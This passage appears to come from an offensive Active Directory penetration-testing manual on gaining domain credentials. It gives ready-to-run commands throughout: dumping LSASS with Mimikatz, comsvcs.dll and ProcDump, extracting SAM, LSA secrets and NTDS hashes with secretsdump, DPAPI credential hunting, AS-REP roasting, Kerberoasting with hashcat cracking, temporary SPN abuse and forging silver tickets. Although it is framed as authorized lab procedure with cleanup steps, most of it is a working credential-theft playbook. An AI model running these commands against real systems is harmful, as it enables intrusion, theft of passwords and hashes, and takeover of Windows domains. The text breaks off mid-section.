6.3.11 Gain a more useful domain identity

Blocks: 11; credential classification in 5. Operational procedure | Operational procedure | Operational procedure | Operational procedure | Quick sheet

6.3.11.5.1 Purpose and result

Typed password/hash/key/ticket artifacts from accessible logon sessions.

6.3.11.5.2 Recognition clues

A controlled Windows host may hold useful logged-on identities.

6.3.11.5.2.1 Find the clue from your starting access

Where to investigate: On the verified controlled host inspect current token, logged-on session evidence and protection configuration before choosing a credential source.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Current context: privileged host token
Session list: DOMAIN\USER may be present
RunAsPPL: enabled

Recognize this detail: A useful session is a possible source, while PPL/protection can prevent the chosen process-memory access.

Still missing before method selection: Verify actual privilege, fresh useful sessions, process/architecture compatibility and protection; prefer accessible tickets when sufficient.

If you do not yet have this clue: start with Establish Windows token, host and process context.

6.3.11.5.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material.

6.3.11.5.4 Discover and verify prerequisites

whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL

6.3.11.5.5 Why it works

LSASS material depends on logon type, authentication package, session lifetime and protection. Administrator membership alone does not guarantee readable credentials or plaintext passwords.

6.3.11.5.6 Execute and choose variants

whoami /all
tasklist /fi "imagename eq lsass.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object SecurityServicesConfigured,SecurityServicesRunning,VirtualizationBasedSecurityStatus

Interpretation:

• membership in Administrators with a medium-integrity filtered token is not equivalent to an elevated process;
• SeDebugPrivilege must be present and usable for common live-process access;
• a missing registry value is not definitive proof that a protection is disabled because defaults, policy and firmware state matter;
• LSA protection blocks untrusted code injection/process-memory access; Credential Guard isolates selected NTLM, Kerberos and saved-domain secrets with VBS;
• EDR/AV can block a tool or dump path without proving the underlying credential source is empty.

An access-denied or empty result disproves only that method in the current context.

6.3.11.5.6.1.1 Read accessible logon-session material with Mimikatz Direct Mimikatz access

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets

Decisive output is a named logon session with a typed value: NTLM, AES key, DPAPI key or ticket. A username with Password : (null) is not a failed tool run when another useful field exists, and modern Windows commonly does not retain reusable cleartext.

6.3.11.5.6.1.2 Collect an authorized memory artifact for offline parsing Dump first, parse offline

Built-in comsvcs.dll method from an elevated command prompt:

for /f "tokens=2" %A in ('tasklist ^| findstr /i lsass.exe') do rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %A C:\Windows\Temp\lsass.dmp full

Sysinternals ProcDump alternative:

procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

Parse with a compatible Mimikatz build:

mimikatz.exe
sekurlsa::minidump C:\Path\To\lsass.dmp
sekurlsa::logonpasswords
sekurlsa::tickets

Common failures:

• dump creation denied: token/protection/EDR or process-access prerequisite failed;
• ProcessorArchitecture mismatch: use compatible x64/x86 tooling;
• OS major-version mismatch: parse with a compatible build/environment;
• dump succeeds but secrets are absent: logon type, sign-out/reboot, Credential Guard and provider behavior affect contents.

LSASS dumps are sensitive and noisy. Hash the evidence if needed, transfer through the established route, store it privately and remove the target copy after the authorized objective.

Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured,DeviceGuardSecurityServicesRunning

Credential Guard can isolate reusable domain secrets from ordinary LSASS memory. It does not erase local SAM, file, vault, DPAPI, ticket, service-configuration or directory-right paths. One failed dump method disproves only that method and context. Intrusive SSP interception changes system state and waits for a future logon; it is not the default Block 5 response.

6.3.11.5.7 Worked example — hypothetical

Observation: a privileged user had a session on a controlled host. Test: validate current session and protection state before the appropriate collection method. Illustrative output: an NT hash is available but no plaintext password. Interpretation: classify it and select a compatible authorized service.

6.3.11.5.8 Verify the result

Tie each artifact to an account, source/logon session and material type; independently validate any useful reuse.

6.3.11.5.9 Failure and fallback

Protected process access denial, absent sessions and unsupported parsing are different outcomes. Prefer an accessible ticket or other matched source when available.

6.3.11.5.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.6.1 Purpose and result

Local-account NT hashes with source-machine context.

6.3.11.6.2 Recognition clues

Protected local registry material is available under sufficient host privilege.

6.3.11.6.2.1 Find the clue from your starting access

Where to investigate: At a host context with justified protected-file access inspect current privileges and the source machine before selecting matched registry material.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

hostname
whoami /priv

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Host: TARGET_HOST
Relevant backup/read privilege: present
Needed pair: SAM plus matching SYSTEM

Recognize this detail: Sufficient source access suggests local-account extraction, not domain-account extraction.

Still missing before method selection: Verify a supported backup/read operation, complete same-host hives and offline parser context.

If you do not yet have this clue: start with Use backup privilege to obtain protected local credential material.

6.3.11.6.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Matched SAM/SYSTEM from the same system and appropriate read/backup access.

6.3.11.6.4 Discover and verify prerequisites

whoami /priv
reg save HKLM\SAM C:\Windows\Temp\SAM.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save

6.3.11.6.5 Why it works

SAM stores local account verifiers protected using key material derived from SYSTEM. These are local identities; a same-named domain account is a different principal.

6.3.11.6.6 Execute and choose variants

reg save HKLM\SAM C:\Windows\Temp\SAM.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Mimikatz alternative from a suitable elevated context:

privilege::debug
token::elevate
lsadump::sam

Interpret a typical account row as:

LOCAL_USER:RID:LM_HASH:NT_HASH:::

The NT hash is local-account material. Its reuse depends on the same local password existing elsewhere, account state, remote UAC restrictions, service support and host authorization. Return it to the credential-classification workflow; do not call it a domain credential.

6.3.11.6.7 Worked example — hypothetical

Observation: a backup-capable context obtains both hives. Test: parse the matched files offline. Illustrative output: a local administrator hash is recovered. Interpretation: test only justified local-account reuse with explicit target-local qualification.

6.3.11.6.8 Verify the result

Verify source machine, matched hive pair and account/RID mapping; validate destination rights separately.

6.3.11.6.9 Failure and fallback

Mismatched/incomplete hives or denied backup operations require source repair. Local hashes do not automatically grant domain access.

6.3.11.6.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.7.1 Purpose and result

Typed LSA secrets, machine/service credentials or cached logon verifiers.

6.3.11.7.2 Recognition clues

Matched SECURITY/SYSTEM material is accessible.

6.3.11.7.2.1 Find the clue from your starting access

Where to investigate: Inspect the rights and origin of a protected registry backup and distinguish SECURITY data from SAM before collection/parsing.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

hostname
whoami /priv

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Available snapshot: SECURITY.save
Matching SYSTEM.save: verify
Expected outputs: LSA secrets and cached logon records

Recognize this detail: A SECURITY source targets secrets/cached verifiers with distinct semantics; it is not simply another SAM.

Still missing before method selection: Confirm matched key material and classify every returned service/machine secret or DCC2 record.

If you do not yet have this clue: start with Use backup privilege to obtain protected local credential material.

6.3.11.7.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Appropriate host/read privilege and complete matching key/source files.

6.3.11.7.4 Discover and verify prerequisites

reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save

6.3.11.7.5 Why it works

Different SECURITY records encode different capabilities. DCC2 is an offline verifier; a machine-account secret and a service password have different identities and compatible uses.

6.3.11.7.6 Execute and choose variants

reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL

Mimikatz alternative:

privilege::debug
token::elevate
lsadump::secrets
lsadump::cache

Potential categories:

• $MACHINE.ACC: member computer's domain-account secret/key material;
• service/autologon secrets: usefulness depends on whether the service/account remains active;
• NL$1-style cached logon data: DCC2/MSCache v2 verifier material.

DCC2 is for offline guessing, not Pass-the-Hash:

hashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Verify the exact format with the installed Hashcat examples before cracking.

6.3.11.7.7 Worked example — hypothetical

Observation: offline parsing yields both a cached logon verifier and a service secret. Test: classify each output independently. Illustrative output: DCC2 needs recovery while the service password can be validated directly. Interpretation: choose separate next methods.

6.3.11.7.8 Verify the result

Retain source, account, type and required factors; do not label every parsed output a Pass-the-Hash credential.

6.3.11.7.9 Failure and fallback

Absent cached entries or protected secrets are source-specific limitations; use another justified credential source.

6.3.11.7.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.8.1 Purpose and result

A usable saved-credential operation or decrypted secret for a defined identity.

6.3.11.8.2 Recognition clues

Saved credentials or protected application blobs/master keys.

6.3.11.8.2.1 Find the clue from your starting access

Where to investigate: Inspect saved-credential targets and readable protected files within the current protecting user/machine context.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

whoami /user
cmdkey /list

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Protecting user: USER_SID
Credential target: TARGET_HOST
Available artifact: protected blob; plaintext not shown

Recognize this detail: The target and protecting SID identify which keys/context or consumer must be investigated.

Still missing before method selection: Check matching master keys/recovery factors or an allowed saved-credential consumer; file read alone is insufficient.

If you do not yet have this clue: start with Recover Windows application, history and stored-credential artifacts.

6.3.11.8.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor.

6.3.11.8.4 Discover and verify prerequisites

cmdkey /list
whoami /all

6.3.11.8.5 Why it works

DPAPI ties protection to user/machine keys and context. A blob or cmdkey listing alone does not disclose plaintext, and a stored credential may be target/logon-type bound.

6.3.11.8.6 Execute and choose variants

cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all

Get-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Force -Recurse -ErrorAction SilentlyContinue

For each entry record target, type, username, persistence/context and whether a compatible application can ask Windows to use it. A listed credential is not necessarily exportable plaintext.

DPAPI reasoning:

PROTECTED BLOB
-> MASTER-KEY GUID
-> USER OR MACHINE PROTECT SCOPE
-> MASTER-KEY DECRYPTION MATERIAL
-> APPLICATION-SPECIFIC DECODING

Possible decryption material includes the already logged-on user context, the user's password/NT hash, machine context or a domain DPAPI backup key. Prefer using the authorized existing context rather than copying unrelated protected data. One blob without its master key/context is incomplete.

6.3.11.8.7 Worked example — hypothetical

Observation: saved credentials reference a remote host. Test: inspect the available matching user context and intended consumer. Illustrative output: the saved credential permits that target action but reveals no password. Interpretation: record the capability rather than inventing a plaintext secret.

6.3.11.8.8 Verify the result

Verify the decrypted value or actual saved-credential action in its matching context.

6.3.11.8.9 Failure and fallback

Missing master keys, wrong protecting identity or incomplete artifacts require another source/context.

6.3.11.8.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.9.1 Purpose and result

Domain credential material with a recorded source and collection mechanism.

6.3.11.9.2 Recognition clues

An already controlled DC or a validated privileged domain collection context.

6.3.11.9.2.1 Find the clue from your starting access

Where to investigate: Start only from evidence of an already controlled DC or a domain replication right; identify the source mechanism before choosing a generic extraction command.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

file NTDS.dit SYSTEM.save

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

NTDS.dit: database artifact
SYSTEM.save: registry artifact
Same DC/consistent snapshot: must be verified

Recognize this detail: A database/key pair is an offline source candidate; remote DRS requires a different permission chain.

Still missing before method selection: Verify same-source consistency and access, or independently validate the exact replication/remote collection prerequisites.

If you do not yet have this clue: start with Use backup privilege to obtain protected local credential material.

6.3.11.9.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method.

6.3.11.9.4 Discover and verify prerequisites

file NTDS.dit SYSTEM.save

6.3.11.9.5 Why it works

Offline database parsing and DRS replication are different mechanisms. A generic remote extraction command can try multiple methods; select only the source whose prerequisites have been taught and verified.

6.3.11.9.6 Execute and choose variants

6.3.11.9.6.1.1 Parse a matched domain database and SYSTEM hive offline Offline NTDS from an already controlled DC

An offline parse needs a matched NTDS.dit and SYSTEM hive:

impacket-secretsdump -ntds NTDS.dit -system SYSTEM.hive LOCAL

Obtaining locked DC database files normally requires DC-level privilege and a snapshot/backup-aware method. Ordinary local administrator on a member server does not provide this material.

6.3.11.9.6.1.2 Shadow-copy boundary: inspect before creating anything

From an already controlled Windows Server/DC context, first determine whether a usable snapshot already exists and whether the current token has the required backup/administrative rights:

whoami /priv
vssadmin list shadows
diskshadow

At the DISKSHADOW> prompt:

list shadows all
exit

Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.

6.3.11.9.6.1.3 Remote collection

impacket-secretsdump -dc-ip DC_IP 'DOMAIN/USER:PASSWORD@DC_HOST'

impacket-secretsdump -hashes :NT_HASH -dc-ip DC_IP 'DOMAIN/USER@DC_HOST'

This broad form can invoke several remote collection paths and is high impact. Use it only when the lab objective and privileges justify those sources. For replication rights and a bounded one-user request, use Retrieve domain credential material through verified replication rights.

6.3.11.9.7 Worked example — hypothetical

Observation: an already controlled DC provides a consistent database/key pair. Test: parse the matched source offline. Illustrative output: domain-account hashes are recovered. Interpretation: classify identities and perform the smallest relevant verification.

6.3.11.9.8 Verify the result

Verify source consistency, account mapping and the exact collection method; retain sensitive output privately.

6.3.11.9.9 Failure and fallback

DC reachability or local administrator access on a member server is not sufficient for domain replication.

6.3.11.9.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.10.1 Purpose and result

A correctly formatted offline password-recovery artifact.

6.3.11.10.2 Recognition clues

A known user or directory flag indicates Kerberos preauthentication is disabled.

6.3.11.10.2.1 Find the clue from your starting access

Where to investigate: With an authenticated directory view inspect userAccountControl; without a bind, use only the documented known-user/no-password KDC path and distinguish its replies.

Discovery action — reference example:

Access/context: A known domain username for a password-free request, or an authenticated bind for directory-backed discovery

Get-DomainUser -Properties samaccountname,useraccountcontrol |
  Select-Object samaccountname,@{n='UAC';e={[int]$_.useraccountcontrol}} |
  Where-Object { ($_.UAC -band 0x400000) -ne 0 }

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

samaccountname  UAC
TARGET_USER    4194816
Bit 0x400000: set

Recognize this detail: The DONT_REQUIRE_PREAUTH bit is set. Test the bit, not equality to one whole decimal value, because other flags coexist.

Still missing before method selection: Check account state, KDC route, response/encryption type and feasible recovery; no-password discovery requires a real known username.

If you do not yet have this clue: start with Enumerate directory objects with native, LDAP and PowerView approaches.

6.3.11.10.3 Prerequisites

Starting access: A known domain username for a password-free request, or an authenticated bind for directory-backed discovery. Required conditions: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ.

6.3.11.10.4 Discover and verify prerequisites

impacket-GetNPUsers 'DOMAIN/USER' -no-pass -dc-ip DC_IP

6.3.11.10.5 Why it works

Without preauthentication, the KDC can return an encrypted AS response whose relevant part permits offline guessing of the account's password-derived key. Receiving it does not reveal the password.

6.3.11.10.6 Execute and choose variants

6.3.11.10.6.1.1 Why AS-REP roasting works

Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.

KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES

6.3.11.10.6.1.2 Request an AS-REP for a known user without preauthentication One known user, no password

impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
  -dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes

6.3.11.10.6.1.3 Check supplied account names for AS-REP recovery conditions Supplied user list, no password

impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
  -dc-ip DC_IP -outputfile asrep.hashes

6.3.11.10.6.1.4 Find AS-REP candidates through authenticated directory queries Authenticated directory-backed discovery

impacket-GetNPUsers 'DOMAIN/USER' -request \
  -dc-ip DC_IP -outputfile asrep.hashes

Omitting the password from the target lets the tool prompt rather than storing it in shell history.

6.3.11.10.6.1.5 Request selected Kerberos material from Windows with Rubeus Windows/Rubeus alternative

Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat

6.3.11.10.6.1.6 Interpret before cracking

hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show

Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.

6.3.11.10.7 Worked example — hypothetical

Observation: an account is marked without preauthentication. Test: request only its AS-REP material. Illustrative output: a supported hash-format response returns. Interpretation: use the format's correct offline mode and validate any recovered password.

6.3.11.10.8 Verify the result

Verify the account, realm, response format/encryption type and recovered credential if cracking succeeds.

6.3.11.10.9 Failure and fallback

Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings.

6.3.11.10.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.11.1 Purpose and result

A selected TGS recovery artifact and possibly a recovered service-account password.

6.3.11.11.2 Recognition clues

A user-owned SPN and a useful service-account relationship.

6.3.11.11.2.1 Find the clue from your starting access

Where to investigate: Use a directory client's user-owned SPN inventory and inspect the associated account's memberships/utility before requesting a selected ticket.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

samaccountname: SERVICE_USER
serviceprincipalname: HTTP/TARGET_HOST
object type: user

Recognize this detail: A user-owned SPN supplies the account key targeted by a service ticket and a reason to assess password-recovery feasibility.

Still missing before method selection: Verify valid KDC context, selected account/SPN, returned encryption type, password model and useful resulting rights.

If you do not yet have this clue: start with Identify service accounts and SPNs worth investigating.

6.3.11.11.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy.

6.3.11.11.4 Discover and verify prerequisites

impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'

6.3.11.11.5 Why it works

The service ticket is encrypted with the service account's long-term key. Request permission does not equal service administration, and strong machine/account keys can make recovery infeasible.

6.3.11.11.6 Execute and choose variants

6.3.11.11.6.1.1 Why Kerberoasting works

Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.

VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES

Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.

6.3.11.11.6.1.2 Enumerate without requesting tickets

impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'

Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST

6.3.11.11.6.1.3 Request one selected user

impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'

Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

impacket-GetUserSPNs -request -dc-ip DC_IP \
  -outputfile kerberoast.hashes 'DOMAIN/USER'

Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

6.3.11.11.6.1.4 Select the recovery format that matches the returned Kerberos artifact Hash type and cracking

hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show

Select the mode from the actual prefix and current hashcat --example-hashes; do not assume every TGS is RC4. AES material is still an offline verifier but generally costs more per guess. Cracking feasibility is governed mainly by password strength and candidates, not merely ticket acquisition.

6.3.11.11.6.1.5 Common failures

• no SPNs returned: wrong domain/base/authentication context, filtering or no user SPNs;
• KDC_ERR_S_PRINCIPAL_UNKNOWN: SPN is absent/malformed or queried in the wrong realm;
• KDC_ERR_ETYPE_NOSUPP: requested cipher conflicts with account/domain policy;
• output wraps or fails to load: save directly to an output file and verify prefix/line integrity;
• crack exhausts candidates: password not represented by the tested model; the account is not therefore “secure.”

6.3.11.11.7 Worked example — hypothetical

Observation: a service account owns a relevant SPN. Test: enumerate first and request only that selected account's ticket. Illustrative output: a supported encryption-type artifact is obtained. Interpretation: apply its matching recovery mode and evaluate the account's actual rights.

6.3.11.11.8 Verify the result

Record SPN/account/encryption type and verify any recovered password against the intended identity.

6.3.11.11.9 Failure and fallback

No crack means only the tried candidates failed; a ticket request does not prove a weak password or host access.

6.3.11.11.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Operational procedure | Quick sheet

6.3.11.12.1 Purpose and result

A recovery artifact for the controlled target account.

6.3.11.12.2 Recognition clues

A controlled principal can write a user's servicePrincipalName.

6.3.11.12.2.1 Find the clue from your starting access

Where to investigate: Inspect a useful user's SPN set and resolved effective ACL rather than assuming GenericWrite always permits a desired property change.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

Get-DomainUser -Identity TARGET_USER -Properties serviceprincipalname
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Existing SPNs: none
Effective trustee: CONTROLLED_GROUP
Potential right: write servicePrincipalName

Recognize this detail: A specific writable SPN property on a useful user can create a ticket-request opportunity.

Still missing before method selection: Verify trustee/effective property scope, enabled account, unique temporary SPN, KDC context and exact restoration.

If you do not yet have this clue: start with Validate effective directory-object control.

6.3.11.12.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup.

6.3.11.12.4 Discover and verify prerequisites

Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
setspn -L TARGET_USER

6.3.11.12.5 Why it works

Writing an SPN exposes a ticket-request route for the target account key. It does not reset the password; recovery still depends on password strength and encryption.

6.3.11.12.6 Execute and choose variants

If Block 10 proved effective write access to a user object's servicePrincipalName, an SPN can be temporarily added, requested and removed. This is a state-changing directory attack and must preserve original state.

Built-in SPN operations:

setspn -L TARGET_USER
setspn -S temporary/TARGET_USER TARGET_USER

Request only that account:

impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile targeted-TARGET_USER.hashes 'DOMAIN/USER'

Cleanup:

setspn -D temporary/TARGET_USER TARGET_USER
setspn -L TARGET_USER

The controlled right must apply to the SPN attribute, -S must not collide with an existing SPN, and cleanup is part of the procedure. A recovered password is still validated and mapped as a new identity.

If the effective right permits writing servicePrincipalName on a user, add a unique temporary SPN, request that account's ticket and remove the SPN immediately. The cracking workflow is in Kerberos and identity transitions.

setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER

6.3.11.12.7 Worked example — hypothetical

Observation: a user has no SPN but the controlled identity has the required property write. Test: add a unique temporary value, request that user's TGS and remove the value. Illustrative output: the artifact is obtained and the original SPN set is restored. Interpretation: recover offline if feasible.

6.3.11.12.8 Verify the result

Verify effective right, requested account and cleanup; confirm any recovered credential independently.

6.3.11.12.9 Failure and fallback

GenericWrite must actually apply to the property/object. Duplicate SPNs, protected objects or policy can prevent the chain.

6.3.11.12.10 Continue from the interpreted result

Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.

Stop/verify: Verify ticket client/server/lifetime and an actual service operation; record local versus network identity separately.

Failure/next check: IP-only naming, realm mismatch, expired lifetime, wrong logon session or unsupported tool Kerberos can break otherwise valid material.

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.14.1 Purpose and result

A verified authentication effect limited to the compatible service context.

6.3.11.14.2 Recognition clues

A service account key and a concrete compatible service/SPN objective.

6.3.11.14.2.1 Find the clue from your starting access

Where to investigate: Classify a verified service key and correlate its account/SPN with the specific target service and domain SID.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

setspn -Q SERVICE/TARGET_HOST
whoami /user
klist

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SERVICE/TARGET_HOST belongs to SERVICE_ACCOUNT
Available key source: that service account
Domain SID: recorded separately

Recognize this detail: The key must protect the intended service ticket; an arbitrary user's NT hash is not sufficient.

Still missing before method selection: Verify key type/current value, domain SID, principal/SPN, validation behavior and accepted target action.

If you do not yet have this clue: start with Recover or reuse an NT password hash.

6.3.11.14.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use.

6.3.11.14.4 Discover and verify prerequisites

whoami /user
klist
setspn -Q SERVICE/TARGET_HOST

6.3.11.14.5 Why it works

A silver ticket is encrypted for a service account rather than issued through a new domain TGT. Its acceptance depends on service/PAC validation; it is not universal domain-administrator authority.

6.3.11.14.6 Execute and choose variants

Prerequisite: key/hash of the account encrypting the target SPN's tickets, domain SID, exact SPN/service/host, a plausible existing domain identity and compatible target-service validation behavior.

Linux/Impacket:

impacket-ticketer -nthash SERVICE_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Windows/Mimikatz:

kerberos::golden /sid:DOMAIN_SID /domain:DOMAIN /target:TARGET_HOST /service:cifs /rc4:SERVICE_NT_HASH /user:AUTHORIZED_TEST_USER /ptt

Despite the Mimikatz module name, supplying a service/target key produces a silver/service ticket, not a krbtgt-signed TGT.

Important boundaries:

• the key must belong to the account that owns the SPN; machine-account keys commonly protect host services;
• the ticket is limited to the named service/host and whichever services share the same account key;
• current PAC enforcement means using a nonexistent identity can fail; use a real authorized test identity and validate behavior;
• a service may perform KDC/PAC validation or additional authorization;
• a successfully imported ticket is not successful service access.

Golden tickets require the KRBTGT key and domain SID and create a forged TGT. They are a high-impact persistence concept covered in the conditional domain-compromise section, not a default Block 11 action.

6.3.11.14.7 Worked example — hypothetical

Observation: a known service key and domain SID are available. Test: match the intended SPN and documented acceptance conditions. Illustrative output: a CIFS operation succeeds under the crafted ticket while WinRM does not. Interpretation: retain the exact service scope.

6.3.11.14.8 Verify the result

Prove the intended service action and ticket context; ticket creation/import success alone is insufficient.

6.3.11.14.9 Failure and fallback

Wrong key/SPN/SID or modern validation can reject the ticket. Prefer an existing valid credential/TGT route when enabled.

6.3.11.14.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.15.1 Purpose and result

A new known credential for the target identity.

6.3.11.15.2 Recognition clues

A controlled trustee has the effective password-reset right on a useful account.

6.3.11.15.2.1 Find the clue from your starting access

Where to investigate: Follow a mapped useful-user ACL edge and resolve the actual password-reset extended right for the controlled trustee.

Discovery action — reference example:

